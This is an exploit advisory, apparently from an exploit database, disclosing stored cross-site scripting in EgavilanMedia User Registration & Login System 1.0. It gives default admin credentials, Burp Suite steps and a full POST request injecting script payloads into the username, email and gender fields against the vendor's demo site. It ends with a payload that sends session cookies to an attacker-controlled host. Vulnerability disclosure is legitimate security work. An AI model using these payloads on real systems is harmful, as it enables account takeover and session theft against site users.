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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting
# Date: 30-12-2020
# Exploit Author: Mesut Cetin
# Vendor Homepage: http://egavilanmedia.com
# Version: 1.0
# Tested on Windows 10, Firefox 83.0, Burp Suite Professional v1.7.34

Vulnerable parameter: email, gender, username
Payload: <script>alert(document.cookie)</script>

Proof of Concept:

To bypass client-side filter, we will use Burp Suite. Reproduce the vulnerability by following the steps:

1. Login with default credentials "admin:password" at the demo page at: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/profile.php
2. Click above right on the "Profile" tab
3. Navigate to the "Edit Profile" tab
4. In Firefox, use Foxyproxy and click on "Intercept" within Burp Suite. Press on "Update password" button at demo page.
5. Capture the POST request in Burp Suite and manipulate the parameter as shown:

POST /User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile_action.php HTTP/1.1
Host: demo.egavilanmedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 180
Origin: http://demo.egavilanmedia.com
Connection: close
Referer: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile.php
Cookie: PHPSESSID=944b2es2eb67f971af305b2105e35c3e

fullname=admin&username=<script>alert(document.cookie)</script>&email=<script>alert('PoC 2')</script>&gender==<script>alert('PoC 3')</script>&action=update_admin

6. Forward the request and refresh the page. You'll receive three different XSS pop-ups. One of them contains the PHPSESSID cookie. By using payloads like <BODY ONLOAD=fetch(`http://attackers-page.com/${document.cookie}`)>, the session cookies can be send to the attacker.